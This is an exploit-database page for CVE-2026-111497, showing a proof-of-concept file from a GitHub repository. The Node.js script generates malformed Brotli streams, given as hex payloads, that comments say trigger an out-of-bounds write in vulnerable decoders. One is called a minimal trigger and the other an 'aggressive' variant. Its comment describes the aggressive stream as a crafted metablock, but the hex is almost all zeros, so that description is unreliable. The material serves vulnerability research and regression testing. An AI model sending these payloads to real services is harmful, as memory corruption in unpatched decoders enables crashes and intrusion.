Exploit database

GH-b1a007fc5b17c57d4ee7a9a50e8048d4

googlesky/cve-2026-111497

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files17
googlesky/cve-2026-111497Revision 1c4b512ae781

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/src/poc.js

JavaScript · 1,595 bytes
// CVE-2026-111497 — Brotli decoder OOB write via invalid block switch
// PoC payload generator: builds a malformed Brotli stream that triggers
// the invalid block-switch path in the vulnerable decoder.
'use strict';

// Node.js regression test trigger — the minimal 22-byte input that hits
// the invalid block switch. On vulnerable builds this causes OOB write;
// on patched builds it throws ERR__ERROR_FORMAT_BLOCK_SWITCH (-17).
const TRIGGER_HEX = '200010414141fcffff07002228f00b60f7f41f000000';

// More aggressive variant: prepend a valid metablock header to push the
// decoder deeper into literal processing before the bad switch.
// This is a hand-crafted stream with:
//   - WBITS=18, non-last metablock, MLEN=5 (minimal)
//   - 1 literal block type, 1 command block type, 1 distance block type
//   - After literals exhausted, an invalid literal block switch is requested
// The invalid switch hits DecodeBlockTypeAndLength with max_block_type <= 1,
// which in the vulnerable code returns BROTLI_FALSE and is discarded.
const AGGRESSIVE_HEX = '1b030000000000000000000000000000000000000000000000000000000000';

function buildPayloads() {
  return {
    minimal: Buffer.from(TRIGGER_HEX, 'hex'),
    aggressive: Buffer.from(AGGRESSIVE_HEX, 'hex'),
  };
}

module.exports = { buildPayloads, TRIGGER_HEX, AGGRESSIVE_HEX };

if (require.main === module) {
  const { minimal, aggressive } = buildPayloads();
  console.log('minimal  :', minimal.toString('hex'), `(${minimal.length} bytes)`);
  console.log('aggressive:', aggressive.toString('hex'), `(${aggressive.length} bytes)`);
}